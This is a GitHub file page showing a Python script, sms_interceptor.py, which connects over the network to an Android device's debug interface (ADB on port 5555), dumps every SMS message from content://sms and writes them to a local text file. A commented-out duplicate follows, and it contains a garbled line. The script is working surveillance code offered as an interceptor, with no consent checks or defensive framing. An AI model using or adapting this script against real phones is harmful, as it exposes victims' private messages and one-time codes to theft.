-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathsms_interceptor.py
More file actions
53 lines (40 loc) · 1.87 KB
/
Copy pathsms_interceptor.py
File metadata and controls
53 lines (40 loc) · 1.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import subprocess
import io
device_ip = '192.168.88.102' # Replace with the IP address of the remote device
# Connect to the remote device using ADB
adb_connect_command = ['adb', 'connect', '{}:5555'.format(device_ip)]
subprocess.call(adb_connect_command)
# Construct the ADB command to retrieve SMS messages
adb_command = ['adb', 'shell', 'content', 'query', '--uri', 'content://sms']
# Execute the ADB command to retrieve SMS messages
process = subprocess.Popen(adb_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = process.communicate()
# Check if the command was successful
if process.returncode == 0:
# Decode the output from bytes to string
output_str = output.decode('utf-8')
# Save the SMS messages in a text file
with io.open('sms_messages.txt', 'w', encoding='utf-8') as file:
file.write(output_str)
print('SMS messages successfully saved in sms_messages.txt.')
else:
print('An error occurred while retrieving SMS messages.')
print('Error:', error.decode('utf-8'))
# PYTHON VERSION 3 ONLY
# import subprocessadb tcpip 5555:5555
# # Construct the ADB command to retrieve SMS messages
# adb_command = ['adb', 'shell', 'content', 'query', '--uri', 'content://sms']
# # Execute the ADB command to retrieve SMS messages
# process = subprocess.Popen(adb_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# output, error = process.communicate()
# # Check if the command was successful
# if process.returncode == 0:
# # Decode the output from bytes to string
# output_str = output.decode('utf-8')
# # Save the SMS messages in a text file
# with open('sms_messages.txt', 'w', encoding='utf-8') as file:
# file.write(output_str)
# print('SMS messages successfully saved in sms_messages.txt.')
# else:
# print('An error occurred while retrieving SMS messages.')
# print('Error:', error.decode('utf-8'))